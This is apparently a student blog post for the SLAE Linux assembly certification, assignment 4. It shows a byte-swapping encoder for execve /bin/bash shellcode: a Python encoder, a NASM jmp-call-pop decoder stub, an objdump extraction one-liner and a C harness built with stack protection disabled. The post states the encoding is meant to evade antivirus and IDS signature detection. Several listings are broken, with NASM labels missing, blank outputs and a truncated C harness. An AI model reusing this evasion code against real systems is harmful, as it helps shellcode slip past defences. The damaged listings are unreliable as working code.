SLAE: Custom Encoder – Assignment 4

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1046
Assignment: Create a custom encoding scheme like the “insertion encoder”. Code a PoC using execve-stack as the shellcode to encode with your schema and execute it.


For this task we’ll use an already existing piece of shellcode (execve-stack from SLAE material) and write an encoder for it. The reason behind this is to make it harder for AV’s and IDS to match the new shellcode to the already known shellcode.

execve-stack shellcode:

Of course, as always, make sure that the shellcode executes properly and contains no null bytes.

We’ll also make use of a simple encoding scheme, namely to exchange places of 2 bytes, and then loop through a sequence of bytes and perform said operation.

Hopefully this masterwork picture explain the idea of it.

Python Encoder

So, I wrote a python script to encode the shellcode.

#!/usr/bin/env python2

shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

print 'Length: %d' % len(shellcode)
s2 = ''

for x in bytearray(shellcode):
    s2 += '0x%02x,' % x

s2 = s2.rstrip(',')
print 'Original Shellcode Samples:'
print s2
print '\nEncoded Shellcode Samples:'

s2n = s2.split(',')
encoded = ''
i = 1
for s in s2n:
    if i == 1:
        a = s
    elif i == 2:
        encoded += '%s,' % s
        encoded += '%s,' % a
        i = 1
    i += 1

print encoded.rstrip(',')

It’s a bit ugly but sufficient for the task.

Output looks like this:

Length: 30
Original Shellcode Samples:

Encoded Shellcode Samples:



Besides what’s in the execve-stack shellcode we do not need any syscalls, only to move around data and then jump to the decoded shellcode. Let’s type it out!

; Filename: encoder.nasm
; Author:  Alex
; SLAE-ID: SLAE-1046
; Website:
; Purpose: Assignement 4 - SLAE Exam
;          Decode the encoded shellcode and execute it

global _start

section .text
        jmp short call_shellcode

        pop esi                         ; put address to EncodedShellcode into ESI (jmp-call-pop)
        xor eax, eax                    ; register to hold data
        xor ecx, ecx                    ; loop counter
        mov cl, 15                      ; loop 15 times (our shellcode is 30 length)

        ; switch data between esi and esi+1
        mov  al, byte [esi]
        xchg byte [esi+1], al
        mov [esi], al

        ; move to the 2 bytes and loop
        add esi, 2
        loop decode

        ; we're done, move to our decoded shellcode
        jmp short EncodedShellcode

        call decoder
        EncodedShellcode: db 0xc0,0x31,0x68,0x50,0x61,0x62,0x68,0x73,0x62,0x68,0x6e,0x69,0x68,0x2f,0x2f,0x2f,0x2f,0x2f,0xe3,0x89,0x89,0x50,0x53,0xe2,0xe1,0x89,0x0b,0xb0,0x80,0xcd

Assemble and link it, then test it. It work just fine so let’s check (just in case) if our code contains any null bytes, it shouldn’t but who knows.

Looks good! Besides the, obviously, bad part that’s encoded.


Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program and execute it.

objdump -D ./encoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
#include <stdio.h>
#include <string.h>

unsigned char code[] = \

        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;

Compile and execute!

gcc -fno-stack-protector -zexecstack shellcode.c -o execve-stack-enc


Github Links

Nasm Encoder
Python Encoder

Great success!